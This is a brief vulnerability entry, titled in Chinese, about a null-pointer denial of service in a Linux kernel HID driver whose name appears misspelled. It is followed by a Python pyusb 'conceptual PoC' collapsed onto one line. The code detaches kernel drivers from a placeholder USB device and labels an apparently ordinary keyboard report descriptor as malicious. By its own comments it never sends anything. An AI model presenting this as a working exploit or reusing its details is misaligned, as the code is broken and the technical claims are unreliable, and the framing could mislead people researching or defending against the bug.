Linux内核HID prodiquals驱动空指针拒绝服务漏洞

# Conceptual PoC using Python and pyusb (Simulation) import usb.core import usb.util def trigger_crash(): # Find the device (Mocking the attack) dev = usb.core.find(idVendor=0x1234, idProduct=0x5678) if dev is None: print("Device not found") return # Detach kernel driver if active for cfg in dev: for intf in cfg: if dev.is_kernel_driver_active(intf.bInterfaceNumber): dev.detach_kernel_driver(intf.bInterfaceNumber) # Set configuration dev.set_configuration() # Send a malicious report descriptor that bypasses input_mapping # This descriptor is crafted to avoid setting up pm->input_ep82 malicious_descriptor = b'\x05\x01\x09\x06\xa1\x01\x05\x07\x19\xe0\x29\xe7\x15\x00\x25\x01\x75\x01\x95\x08\x81\x02\x95\x01\x75\x08\x81\x03\x95\x05\x75\x01\x05\x08\x19\x01\x29\x05\x91\x02\x95\x01\x75\x03\x91\x03\x95\x06\x75\x08\x15\x00\x25\x65\x05\x07\x19\x00\x29\x65\x81\x00\xc0' # Since we can't directly send a descriptor via pyusb easily to change HID parsing logic # without a custom gadget driver, this represents the payload structure # that would be sent by a malicious USB device. print("Sending malicious descriptor structure...") # In a real exploit, this hardware would present the bad descriptor on enumeration. if __name__ == "__main__": trigger_crash()